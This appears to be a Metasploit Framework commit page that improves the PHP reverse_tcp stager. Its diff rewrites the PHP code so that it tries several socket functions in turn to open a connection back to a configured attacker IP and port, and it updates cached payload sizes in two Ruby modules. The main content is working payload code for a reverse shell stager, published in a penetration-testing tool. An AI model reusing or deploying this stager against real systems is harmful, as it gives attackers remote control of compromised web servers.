Land #8691, Improve php reverse_tcp stager logic

This commit is contained in:
Adam Cammack 2017-07-11 13:50:27 -05:00
commit 14b37c2101
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
3 changed files with 8 additions and 5 deletions

View File

@ -60,15 +60,18 @@ $port = #{opts[:port]};
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
}
if (!$s_type) {
die('no socket funcs');
}
if (!$s) { die('no socket'); }

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
module MetasploitModule
CachedSize = 951
CachedSize = 966
include Msf::Payload::Stager
include Msf::Payload::Php::ReverseTcp

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
module MetasploitModule
CachedSize = 1125
CachedSize = 1140
include Msf::Payload::Stager
include Msf::Payload::Php::ReverseTcp